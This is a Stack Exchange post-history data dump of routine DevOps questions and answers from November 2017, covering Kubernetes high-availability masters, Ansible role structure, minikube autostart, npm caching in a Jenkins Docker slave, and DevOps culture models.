  <row Id="8343" PostHistoryTypeId="2" PostId="2674" RevisionGUID="75fa837b-ba46-4232-ab91-72f0abd14082" CreationDate="2017-11-26T12:24:31.427" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8344" PostHistoryTypeId="1" PostId="2674" RevisionGUID="75fa837b-ba46-4232-ab91-72f0abd14082" CreationDate="2017-11-26T12:24:31.427" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8345" PostHistoryTypeId="2" PostId="2675" RevisionGUID="0a62f749-c87b-4e41-8594-54003c1a98af" CreationDate="2017-11-26T12:25:23.443" UserId="210" Text="https://kubernetes.io/docs/tasks/administer-cluster/highly-available-master/&#xD;&#xA;&#xD;&#xA;&gt; **Best practices for replicating masters for HA clusters**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Try to place master replicas in different zones. During a zone failure, all masters placed inside the zone will fail. To survive zone&#xD;&#xA;&gt; failure, also place nodes in multiple zones (see multiple-zones for&#xD;&#xA;&gt; details).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Do not use a cluster with two master replicas. Consensus on a two-replica cluster requires both replicas running when changing&#xD;&#xA;&gt; persistent state. As a result, both replicas are needed and a failure&#xD;&#xA;&gt; of any replica turns cluster into majority failure state. A&#xD;&#xA;&gt; two-replica cluster is thus inferior, in terms of HA, to a single&#xD;&#xA;&gt; replica cluster.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When you add a master replica, cluster state (etcd) is copied to a new instance. If the cluster is large, it may take a long time to&#xD;&#xA;&gt; duplicate its state. This operation may be sped up by migrating etcd&#xD;&#xA;&gt; data directory, as described here (we are considering adding support&#xD;&#xA;&gt; for etcd data dir migration in future).&#xD;&#xA;&#xD;&#xA;I would like to emphasize the following quote&#xD;&#xA;&#xD;&#xA;&gt; A&#xD;&#xA;&gt; two-replica cluster is thus inferior, in terms of HA, to a single&#xD;&#xA;&gt; replica cluster.&#xD;&#xA;&#xD;&#xA;If less then 3 nodes will be used then it is basically more safe to run 1 master, but if one goes down there will be an issue as well. So it is better to run at least three masters." ContentLicense="CC BY-SA 3.0" />
  <row Id="8347" PostHistoryTypeId="5" PostId="1688" RevisionGUID="1e80aa62-16ec-4a37-8d4e-71b2ddd150f5" CreationDate="2017-11-26T12:31:32.107" UserId="40" Comment="Integrate comments from OPer " Text="I a stack with higher number of services it seems that Docker DNS does not work anymore which leads to effects that container's names are not known even to themselves.&#xD;&#xA;&#xD;&#xA;While I have filed [this bug][1], I wonder whether there is a way to debug this more extensively to &quot;prove&quot; the DNS error, or for example manually &quot;fix&quot; the DNS name.&#xD;&#xA;&#xD;&#xA;Will be there some deeper error message?&#xD;&#xA;&#xD;&#xA;**Note**: The ping from outside does not work; I just find cumbersome that is not possible to ping your own DNS name.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/988" ContentLicense="CC BY-SA 3.0" />
  <row Id="8348" PostHistoryTypeId="2" PostId="2676" RevisionGUID="ddc3fb58-f537-4679-9865-a9259e08fa30" CreationDate="2017-11-26T12:39:10.020" UserId="210" Text="I would recommend to structure the code as defined in [the Ansible Best Practices document][1]:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;and to follow the structure that major contributors to the ansible galaxy platform use, like [geerlingguy][3].&#xD;&#xA;&#xD;&#xA;If one will follow a significant different structure then it will be really hard in the future to reuse roles from the [ansible galaxy][4] community and one has to reinvent the wheel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/latest/playbooks_best_practices.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/ntTF6.png&#xD;&#xA;  [3]: https://galaxy.ansible.com/geerlingguy/&#xD;&#xA;  [4]: https://galaxy.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8349" PostHistoryTypeId="5" PostId="1688" RevisionGUID="fe19762d-6e2c-4a6e-b4a6-e3f5ccc49dd1" CreationDate="2017-11-26T12:39:19.120" UserId="707" Comment="added 1 character in body" Text="In a stack with higher number of services it seems that Docker DNS does not work anymore which leads to effects that container's names are not known even to themselves.&#xD;&#xA;&#xD;&#xA;While I have filed [this bug][1], I wonder whether there is a way to debug this more extensively to &quot;prove&quot; the DNS error, or for example manually &quot;fix&quot; the DNS name.&#xD;&#xA;&#xD;&#xA;Will be there some deeper error message?&#xD;&#xA;&#xD;&#xA;**Note**: The ping from outside does not work; I just find cumbersome that is not possible to ping your own DNS name.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/for-win/issues/988" ContentLicense="CC BY-SA 3.0" />
  <row Id="8350" PostHistoryTypeId="4" PostId="2644" RevisionGUID="b195f747-6054-402b-a109-ce76e25ba952" CreationDate="2017-11-26T12:41:14.820" UserId="210" Comment="edited title" Text="Three solutions to structure a deployment with Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8351" PostHistoryTypeId="6" PostId="2644" RevisionGUID="b195f747-6054-402b-a109-ce76e25ba952" CreationDate="2017-11-26T12:41:14.820" UserId="210" Comment="edited title" Text="&lt;ansible&gt;&lt;structure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8352" PostHistoryTypeId="2" PostId="2677" RevisionGUID="086e22dd-1bad-487a-961d-809917f147a8" CreationDate="2017-11-26T12:42:33.967" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8353" PostHistoryTypeId="1" PostId="2677" RevisionGUID="086e22dd-1bad-487a-961d-809917f147a8" CreationDate="2017-11-26T12:42:33.967" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8354" PostHistoryTypeId="2" PostId="2678" RevisionGUID="75bf04ba-660e-433b-9237-00a77b313d51" CreationDate="2017-11-26T12:42:33.967" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8355" PostHistoryTypeId="1" PostId="2678" RevisionGUID="75bf04ba-660e-433b-9237-00a77b313d51" CreationDate="2017-11-26T12:42:33.967" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8356" PostHistoryTypeId="5" PostId="2432" RevisionGUID="330b696c-32d2-428c-ae99-c8d1566d176c" CreationDate="2017-11-26T12:45:03.913" UserId="210" Comment="deleted 88 characters in body; edited tags" Text="It looks like there may have been at one time a version of Google translate called &quot;Business&quot; that did not employ the free API used by the version that comes up in my browser. If there is, how can I get more information about it (I've already googled it and cannot find anything)? If not, is there some kind of replacement that can be used in its stead?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8357" PostHistoryTypeId="6" PostId="2432" RevisionGUID="330b696c-32d2-428c-ae99-c8d1566d176c" CreationDate="2017-11-26T12:45:03.913" UserId="210" Comment="deleted 88 characters in body; edited tags" Text="&lt;google-apps&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8358" PostHistoryTypeId="2" PostId="2679" RevisionGUID="d0de6a0b-74af-4487-911b-c594ffb4cca1" CreationDate="2017-11-26T12:45:57.760" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8359" PostHistoryTypeId="1" PostId="2679" RevisionGUID="d0de6a0b-74af-4487-911b-c594ffb4cca1" CreationDate="2017-11-26T12:45:57.760" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8360" PostHistoryTypeId="2" PostId="2680" RevisionGUID="e5fcb7a2-7630-4e95-8ba0-7d6697786ac9" CreationDate="2017-11-26T12:45:57.760" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8361" PostHistoryTypeId="1" PostId="2680" RevisionGUID="e5fcb7a2-7630-4e95-8ba0-7d6697786ac9" CreationDate="2017-11-26T12:45:57.760" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8362" PostHistoryTypeId="2" PostId="2681" RevisionGUID="0ca2549e-ddaf-4f35-aba2-377cdfdb2602" CreationDate="2017-11-26T12:53:17.100" UserId="210" Text="I suggest that you do not reinvent the wheel and use a ansible galaxy role that has already solved the issues you are reporting.&#xD;&#xA;&#xD;&#xA;One could use [Geerlingguys git role][1] to install the latest git on CentOS7. It is possible to install this by issuing `ansible-galaxy install geerlingguy.git` and subsequently include `geerlingguy.git` in the roles in order to apply the role on the nodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://galaxy.ansible.com/geerlingguy/git/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8363" PostHistoryTypeId="6" PostId="2656" RevisionGUID="a15956f0-8b3c-43e0-bb1b-ba47729b7b02" CreationDate="2017-11-26T12:55:03.407" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;&lt;git&gt;&lt;ssl&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8364" PostHistoryTypeId="2" PostId="2682" RevisionGUID="5f2d6489-3814-4a82-b088-521d13a26848" CreationDate="2017-11-26T12:57:28.940" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8365" PostHistoryTypeId="1" PostId="2682" RevisionGUID="5f2d6489-3814-4a82-b088-521d13a26848" CreationDate="2017-11-26T12:57:28.940" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8366" PostHistoryTypeId="2" PostId="2683" RevisionGUID="7eea4b3f-07c1-40cb-b6d0-c67261be9de3" CreationDate="2017-11-26T12:57:28.940" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8367" PostHistoryTypeId="1" PostId="2683" RevisionGUID="7eea4b3f-07c1-40cb-b6d0-c67261be9de3" CreationDate="2017-11-26T12:57:28.940" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8374" PostHistoryTypeId="2" PostId="2684" RevisionGUID="be08a9d2-0a33-43cd-b604-956b64b337cb" CreationDate="2017-11-26T13:13:03.750" UserId="210" Text="After doing some research and comparing various documents it seems that a bot account is basically a real user account and needs a separate email account in order to create such an account as using an email account to register a new account results in, e.g.: `This email account is already in use`.&#xD;&#xA;&#xD;&#xA;Combined with quote retrieved from the link that is defined in the question:&#xD;&#xA;&#xD;&#xA;&gt; User accounts are intended for humans, but you can give one to a&#xD;&#xA;&gt; robot, such as a continuous integration bot, if necessary.&#xD;&#xA;&#xD;&#xA;It seems to be necessary to create a new email account if a bot account has to be created as:&#xD;&#xA;&#xD;&#xA; 1. git repositories, like github, bitbucket and gitlab check whether an email account already exists if a new user is created&#xD;&#xA; 2. to clarify that the user is a bot and not a human" ContentLicense="CC BY-SA 3.0" />
  <row Id="8375" PostHistoryTypeId="6" PostId="1742" RevisionGUID="7683922f-2ca0-42a8-a2a6-bf9f99de034c" CreationDate="2017-11-26T13:21:00.780" UserId="210" Comment="edited tags" Text="&lt;hashicorp-vault&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8376" PostHistoryTypeId="2" PostId="2685" RevisionGUID="df89d764-e4de-4b86-99cf-838d6f07fa6c" CreationDate="2017-11-26T13:24:42.943" UserId="210" Text="According to [this documentation][1] two vault servers have to be run. One of them has to be active and the other passive. In order to run such a setup both vault server need to be unsealed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/docs/internals/high-availability.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8377" PostHistoryTypeId="2" PostId="2686" RevisionGUID="6757e003-35a9-47f9-b433-1c5a59c0ce5c" CreationDate="2017-11-26T13:29:13.107" UserId="210" Text="It seems that Hashicorp itself offers an enterprise solution including 24x7 gold support called [Hashicorp Vault premium enterprise][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.hashicorp.com/products/vault" ContentLicense="CC BY-SA 3.0" />
  <row Id="8386" PostHistoryTypeId="5" PostId="2683" RevisionGUID="82d354c8-06ad-4a2c-89c6-710bc444d808" CreationDate="2017-11-26T15:14:23.237" UserId="210" Comment="added 80 characters in body" Text="Use this tag if a question is related to centos, the community version of RedHat" ContentLicense="CC BY-SA 3.0" />
  <row Id="8387" PostHistoryTypeId="24" PostId="2683" RevisionGUID="82d354c8-06ad-4a2c-89c6-710bc444d808" CreationDate="2017-11-26T15:14:23.237" Comment="Proposed by 210 approved by 40, 707 edit id of 547" ContentLicense="CC BY-SA 3.0" />
  <row Id="8388" PostHistoryTypeId="2" PostId="2691" RevisionGUID="f132ed14-ded8-4056-9813-f5924c4c66fe" CreationDate="2017-11-26T15:25:16.937" UserId="707" Text="Two example integrations of Docker and Kubernetes are OpenShift and Rancher Labs AFAIK.&#xD;&#xA;&#xD;&#xA;Sadly but in fact we have not completely escaped us from the dependency hell.&#xD;&#xA;&#xD;&#xA;**Question: Is there an established source of information which distributions here package which versions (like Ubutu/Debian version chronicles on Wikipedia)?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Background. &#xD;&#xA;&#xD;&#xA;Not-so-obvious facts for newbies (judged by my learnings so far) are (defining acceptable technical usability to a level that you do no need hours to debug even 101 tutorials):&#xD;&#xA;&#xD;&#xA;- Kubernetes is very dynamic project and it is not so easy to deploy it as-is (but seem to get better with each version, also thanks to kubeadm I would say)&#xD;&#xA;- Kubernetes does not support any Docker versions coming after the community fork to moby and Docker CE.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8389" PostHistoryTypeId="1" PostId="2691" RevisionGUID="f132ed14-ded8-4056-9813-f5924c4c66fe" CreationDate="2017-11-26T15:25:16.937" UserId="707" Text="Docker and Kubernetes integrations compatibility matrix?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8390" PostHistoryTypeId="3" PostId="2691" RevisionGUID="f132ed14-ded8-4056-9813-f5924c4c66fe" CreationDate="2017-11-26T15:25:16.937" UserId="707" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8391" PostHistoryTypeId="5" PostId="2691" RevisionGUID="bb4a1fcb-7ed1-492e-9df1-4bd19bf4e6cf" CreationDate="2017-11-26T15:31:12.710" UserId="707" Comment="edited body" Text="Two example integrations of Docker and Kubernetes are OpenShift and Rancher Labs AFAIK.&#xD;&#xA;&#xD;&#xA;Sadly but in fact we have not completely escaped us from the dependency hell.&#xD;&#xA;&#xD;&#xA;**Question: is there an established source of information which distributions here package which versions (like Ubutu/Debian version chronicles on Wikipedia)?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Background. &#xD;&#xA;&#xD;&#xA;Not-so-obvious facts for newbies (judged by my learnings so far) are (defining acceptable technical usability to a level that you do no need hours to debug even 101 tutorials):&#xD;&#xA;&#xD;&#xA;- Kubernetes is very dynamic project and it is not so easy to deploy it as-is (but seem to get better with each version, also thanks to kubeadm I would say)&#xD;&#xA;- Kubernetes does not support any Docker versions coming after the community fork to moby and Docker CE.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8397" PostHistoryTypeId="2" PostId="2693" RevisionGUID="4a963332-ed89-40ba-b144-dc5bb7050c1e" CreationDate="2017-11-26T16:30:12.903" UserId="5291" Text="How I can set minikube to auto start on windows 10 login? I take a good look but I cant find anything on google. I saw that is a default parameter &quot;autostart=off&quot; but I dont know where i can set it. At the momment after I restart my pc I can see in Hyper-V Manager that minikube machine is running but when I try minikube dashboard in terminal I get: `minikube is not currently running so the service cannot be accessed`" ContentLicense="CC BY-SA 3.0" />
  <row Id="8398" PostHistoryTypeId="1" PostId="2693" RevisionGUID="4a963332-ed89-40ba-b144-dc5bb7050c1e" CreationDate="2017-11-26T16:30:12.903" UserId="5291" Text="Set minikube to auto start on windows log on" ContentLicense="CC BY-SA 3.0" />
  <row Id="8399" PostHistoryTypeId="3" PostId="2693" RevisionGUID="4a963332-ed89-40ba-b144-dc5bb7050c1e" CreationDate="2017-11-26T16:30:12.903" UserId="5291" Text="&lt;windows&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8400" PostHistoryTypeId="2" PostId="2694" RevisionGUID="443cb7d0-fd34-4fda-bd24-2f3288ae0489" CreationDate="2017-11-26T16:38:06.693" UserId="5384" Text="What you have installed, the `ingress controller`, is only one part of the story. The other part is an `ingress`: in an `ingress` you define what pods/services should receive traffic of what domain and request path. The `ingress controller` picks this information up, and dynamically reconfigures the underlying proxy, in your case nginx. You can find examples of ingresses in the official documentation: https://kubernetes.io/docs/concepts/services-networking/ingress/#types-of-ingress" ContentLicense="CC BY-SA 3.0" />
  <row Id="8401" PostHistoryTypeId="2" PostId="2695" RevisionGUID="c26de813-fa54-4492-bb8c-1b5c90e2b15d" CreationDate="2017-11-26T16:43:21.513" UserId="210" Text="You could create a bat script `minikube start` and add it as a scheduled job that start on start up of windows" ContentLicense="CC BY-SA 3.0" />
  <row Id="8403" PostHistoryTypeId="5" PostId="2680" RevisionGUID="90b3bdd5-0a12-4553-b033-1ce50b084b04" CreationDate="2017-11-26T17:01:22.457" UserId="210" Comment="added 85 characters in body" Text="Use this tag if questions are about google apps, e.g. google translate, google sheets" ContentLicense="CC BY-SA 3.0" />
  <row Id="8404" PostHistoryTypeId="24" PostId="2680" RevisionGUID="90b3bdd5-0a12-4553-b033-1ce50b084b04" CreationDate="2017-11-26T17:01:22.457" Comment="Proposed by 210 approved by 707, 47 edit id of 546" ContentLicense="CC BY-SA 3.0" />
  <row Id="8405" PostHistoryTypeId="5" PostId="2674" RevisionGUID="4c9c14d9-ddaa-4957-83ae-cba9f0911522" CreationDate="2017-11-26T17:01:43.560" UserId="210" Comment="added 140 characters in body" Text="If a question is about preventing that a service goes down if one node is shutdown and needs to keep on running then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="8406" PostHistoryTypeId="24" PostId="2674" RevisionGUID="4c9c14d9-ddaa-4957-83ae-cba9f0911522" CreationDate="2017-11-26T17:01:43.560" Comment="Proposed by 210 approved by 707, 47 edit id of 544" ContentLicense="CC BY-SA 3.0" />
  <row Id="8407" PostHistoryTypeId="5" PostId="2678" RevisionGUID="13b052bf-ac89-47d5-9477-12e899557337" CreationDate="2017-11-26T17:01:53.103" UserId="210" Comment="added 108 characters in body" Text="Use this tag if the question is about structure code, e.g. how to structure ansible roles or puppet modules?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8408" PostHistoryTypeId="24" PostId="2678" RevisionGUID="13b052bf-ac89-47d5-9477-12e899557337" CreationDate="2017-11-26T17:01:53.103" Comment="Proposed by 210 approved by 707, 47 edit id of 545" ContentLicense="CC BY-SA 3.0" />
  <row Id="8409" PostHistoryTypeId="5" PostId="2671" RevisionGUID="b8545178-4ea0-483c-b344-4894d5209482" CreationDate="2017-11-26T17:02:10.783" UserId="210" Comment="added 99 characters in body" Text="OpenWhisk is a Apache serverless platform. If questions are about this then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="8410" PostHistoryTypeId="24" PostId="2671" RevisionGUID="b8545178-4ea0-483c-b344-4894d5209482" CreationDate="2017-11-26T17:02:10.783" Comment="Proposed by 210 approved by 707, 47 edit id of 543" ContentLicense="CC BY-SA 3.0" />
  <row Id="8411" PostHistoryTypeId="5" PostId="2669" RevisionGUID="977428bd-4017-4b7c-a6b4-f8e8c97e8bd1" CreationDate="2017-11-26T17:02:17.777" UserId="210" Comment="added 72 characters in body" Text="If questions are about IBMs on demand cloud computing platform (bluemix)" ContentLicense="CC BY-SA 3.0" />
  <row Id="8412" PostHistoryTypeId="24" PostId="2669" RevisionGUID="977428bd-4017-4b7c-a6b4-f8e8c97e8bd1" CreationDate="2017-11-26T17:02:17.777" Comment="Proposed by 210 approved by 707, 47 edit id of 542" ContentLicense="CC BY-SA 3.0" />
  <row Id="8414" PostHistoryTypeId="4" PostId="2423" RevisionGUID="fb5f7802-c941-44a8-8a63-3578875088e9" CreationDate="2017-11-26T17:35:24.843" UserId="210" Comment="edited title" Text="How to enable the npm cache in a Jenkins build slave that runs in docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8418" PostHistoryTypeId="5" PostId="2423" RevisionGUID="952ad083-70cc-44b0-9668-f4cbd82e4001" CreationDate="2017-11-26T17:59:43.940" UserId="210" Comment="added 109 characters in body" Text="I have a Docker image, let's call it `frontend.image`, that I use for a Jenkins build slave. The Jenkins [Docker plugin][1] will spin up a container from this image and build artifacts inside the container. This all works great. In this case, the `frontend.image` is used to build an AngularJs app. Part of building this Angular app is to install npm packages the app requires.&#xD;&#xA;&#xD;&#xA;This process, npm install, seems to take a long time, 3 minutes it seems, npm always installs every package every time.&#xD;&#xA;&#xD;&#xA;So I added a volume for my slave, it is a host mounted volume, the Docker plugin will use this volume every time it runs the frontend container:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The user that executes the command `npm install` is `jenkins`. npm keeps a cache which you can find with command `npm config get cache` which outputs `/home/jenkins/.npm`&#xD;&#xA;&#xD;&#xA;That is why I have the host volume `/slaves/volumes/tsl.frontend:/home/jenkins` mounted to my web container slave.&#xD;&#xA;&#xD;&#xA;I build my Angular app using a Jenkins project, builds no problem, many npm packages are installed. If ssh into my Docker host and run cmd `ls /slaves/volumes/tsl.frontend` I see lots of npm packages. This means my host volume mount for the slave worked. &#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Now I build the Jenkins project again, npm installs every single package again, even though the Docker slave build container is using the volume host mount. I can even confirm by bashing into the slave container with cmd `docker exec -it &lt;some_clever_random_container_id&gt; bash` then cmd `su jenkins` then cmd `npm cache ls` which lists many npm packages that are cached.&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;So, even with my host mount volume, which has permissions `chmod 777` by the way so there is no permissions issues, I cannot get `npm install` to use the cache.&#xD;&#xA;&#xD;&#xA;In my Jenkins build, which spins up the Docker slave container, the first cmd I run is `npm cache ls` and many packages are listed, doesn't this mean my host volume is working as expected and the npm cache index has integrity aka not corrupted?&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;I have tried the regular `npm install` cmd, which, when I run on my localhost machine installs all the packages the first time and almost no packages the next time. And also the npm cache &quot;hack&quot; `npm --cache-min 9999999 install`, taken from [this SO answer][6] as well as cmd `npm --skip-installed --cache-min 9999999 install`&#xD;&#xA;&#xD;&#xA;[A related question][7] was posted on StackOverflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Docker+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/V2Osl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ggCdS.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/a7ldf.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/lEu8b.png&#xD;&#xA;  [6]: https://stackoverflow.com/a/38827633/1258525&#xD;&#xA;  [7]: https://stackoverflow.com/q/46963456/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="8421" PostHistoryTypeId="5" PostId="2658" RevisionGUID="d93d6f6c-e7bf-4349-b117-987274b77d3e" CreationDate="2017-11-26T18:21:27.200" UserId="228" Comment="Clarification of the english text" Text="In his book, &quot;Reinventing organizations&quot;, Frederic Laloux describes a historical evolution of organizations and their systems of internal structure, management and values.&#xD;&#xA;&#xD;&#xA;Where will an organization place on this chart when it would adopt a set of DevOps best practices and culture recommendations. Which stage of development is a target for DevOps practices and what development of the organization is being achieved? Does it correspond to this model?&#xD;&#xA;&#xD;&#xA;[![Laloux organization development chart][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/x4tN9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8422" PostHistoryTypeId="2" PostId="2697" RevisionGUID="05f3f115-be19-47a1-81ad-23c119aaae59" CreationDate="2017-11-26T18:30:06.103" UserId="2805" Text="Should the normal startup functionality of w10 work?&#xD;&#xA;&#xD;&#xA;&gt;To change which apps run at startup, press and hold (or right-click) the Start  button, select Task Manager, and then select the Startup tab. Choose an app, then select Enable or Disable.&#xD;&#xA;&#xD;&#xA;&gt;To add or remove an app from the Startup tab, press the Windows Logo Key  + R, type shell:startup, and then select OK. This opens the Startup folder. Select Start . Find the app you're looking to add or remove, and press and hold (or right-click) it. Select More &gt; Open File Location. In the file location folder, press and hold (or right-click) the app and select Copy. Paste the shortcut to your app into the Startup folder to have it run at startup.&#xD;&#xA;&#xD;&#xA;Info from:&#xD;&#xA;&#xD;&#xA;https://support.microsoft.com/en-us/help/4026268/windows-change-startup-apps-in-windows-10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8423" PostHistoryTypeId="5" PostId="2658" RevisionGUID="6d555243-943f-4850-b9ed-3202b9358e2b" CreationDate="2017-11-26T18:30:33.430" UserId="228" Comment="Added another picture" Text="In his book, &quot;Reinventing organizations&quot;, Frederic Laloux describes a historical evolution of organizations and their systems of internal structure, management and values.&#xD;&#xA;&#xD;&#xA;Where will an organization place on this chart when it would adopt a set of DevOps best practices and culture recommendations? Which stage of development is a target for DevOps practices and what development of the organization is being achieved? Does it correspond to this model?&#xD;&#xA;&#xD;&#xA;[![Laloux organization development chart][1]][1]&#xD;&#xA;&#xD;&#xA;Here is a picture of the Laloux Culture Model:&#xD;&#xA;&#xD;&#xA;[![Laloux Culture Model][2]][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/x4tN9.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/UeyRx.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="8424" PostHistoryTypeId="5" PostId="2693" RevisionGUID="bcaa4019-8bc5-4af7-9669-fc78cd778689" CreationDate="2017-11-26T19:14:46.240" UserId="47" Comment="improved readability" Text="How I can set minikube to auto start on windows 10 login? I checked but I can't find anything on google. &#xD;&#xA;&#xD;&#xA;I saw that there is a default parameter `autostart=off` but I dont know where I can set it. &#xD;&#xA;&#xD;&#xA;At the moment after I restart my pc I can see in Hyper-V Manager that the minikube machine is running but when I try minikube dashboard in terminal I get: &#xD;&#xA;&#xD;&#xA;&gt; minikube is not currently running so the service cannot be accessed" ContentLicense="CC BY-SA 3.0" />
  <row Id="8425" PostHistoryTypeId="4" PostId="2693" RevisionGUID="bcaa4019-8bc5-4af7-9669-fc78cd778689" CreationDate="2017-11-26T19:14:46.240" UserId="47" Comment="improved readability" Text="How to set minikube to auto start on windows log on?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8426" PostHistoryTypeId="2" PostId="2698" RevisionGUID="a4acef3d-2f2c-4a09-b339-7e44f3be94b3" CreationDate="2017-11-26T19:16:15.993" UserId="228" Text="This question perfectly illustrates the different approaches in adopting DevOps by organizations. While both approaches target the 3rd circle on the culture model - the traditional corporations - there is a difference in aim and results.&#xD;&#xA;&#xD;&#xA; 1. Adopt DevOps **best practices** and **tools** for increased effectiveness.&#xD;&#xA; 2. Adopt DevOps **culture** and **values** for organizational transformation.&#xD;&#xA;&#xD;&#xA;Established corporations often aim at (1) and either omit or fail to adopt (2). They will still gain increased effectiveness and improved organizational key performance indicators, but they will fundamentally stay at the orange level of organizational development, failing to undergo the transformation. Such transformation always requires an existential threat to the organization and those are rarely recognized and acted upon until there is too late for the organization to transform.&#xD;&#xA;&#xD;&#xA;New organizations and organizations with new leadership have an easy way to focus on (2) and so they either are raised up at the new developmental stage or manage to successfully seed business units operating with new culture and values that either subsume the entire organization eventually or the old business units slowly decay and whither while the new ones take over a large bulk of the business. It is almost like a parent passing his family business to a child who has been raised with different values and more progressive ideas.&#xD;&#xA;&#xD;&#xA;Either way, you can say that DevOps as it is understood today, operates between the orange and green layer and has the potential to enable the transformation from **Orange** to **Green** under certain conditions.&#xD;&#xA;&#xD;&#xA;The **core ideas** behind DevOps are a different matter. They are in a way a method for an organization to pass from any developmental stage to the next, but as DevOps is being codified through *specific* cultural recommendations, *concrete* values, and *actual* practices and tools, the *instantiation* of those core ideas in form of DevOps is squarely aimed at the border between Orange and Green." ContentLicense="CC BY-SA 3.0" />
  <row Id="8427" PostHistoryTypeId="5" PostId="1746" RevisionGUID="1e218318-12f4-4bb4-abcb-16b5f7cffd24" CreationDate="2017-11-26T19:18:37.067" UserId="210" Comment="edited body" Text="I have enabled web hooks pull request in Bitbucket like below -&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And my Jenkins job configurations are as follows - &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/auX0w.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/hxkYi.png&#xD;&#xA;&#xD;&#xA;Bitbucket hooks are getting invoked as soon as I create pull request but Jenkins job is not getting invoked. &#xD;&#xA;Can anyone help please? " ContentLicense="CC BY-SA 3.0" />
